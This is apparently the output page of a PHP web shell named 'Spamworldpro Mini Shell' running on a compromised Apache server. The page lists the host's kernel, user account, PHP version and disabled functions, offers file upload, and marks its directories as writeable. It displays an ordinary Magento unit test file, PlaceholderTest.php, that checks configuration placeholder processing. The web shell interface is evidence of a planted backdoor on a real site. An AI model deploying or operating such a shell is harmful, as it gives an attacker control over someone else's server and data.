Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-store/Test/Unit/Model/Config/Processor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/old/vendor/magento/module-store/Test/Unit/Model/Config/Processor/PlaceholderTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Store\Test\Unit\Model\Config\Processor;

use Magento\Store\Model\Config\Processor\Placeholder;
use PHPUnit\Framework\MockObject\MockObject;
use PHPUnit\Framework\TestCase;

class PlaceholderTest extends TestCase
{
    /**
     * @var Placeholder
     */
    private $model;

    /**
     * @var \Magento\Store\Model\Config\Placeholder|MockObject
     */
    private $configPlaceholderMock;

    protected function setUp(): void
    {
        $this->configPlaceholderMock = $this->createMock(\Magento\Store\Model\Config\Placeholder::class);

        $this->configPlaceholderMock->expects(
            $this->any()
        )->method(
            'process'
        )->withConsecutive(
            [['key1' => 'value1']],
            [['key2' => 'value2']]
        )->willReturnOnConsecutiveCalls(
            ['key1' => 'value1-processed'],
            ['key2' => 'value2-processed']
        );

        $this->model = new Placeholder($this->configPlaceholderMock);
    }

    public function testProcess()
    {
        $data = [
            'default' => ['key1' => 'value1'],
            'websites' => [
                'code' => ['key2' => 'value2']
            ]
        ];
        $expected = [
            'default' => ['key1' => 'value1-processed'],
            'websites' => [
                'code' => ['key2' => 'value2-processed']
            ]
        ];

        $this->assertEquals($expected, $this->model->process($data));
    }
}

Spamworldpro Mini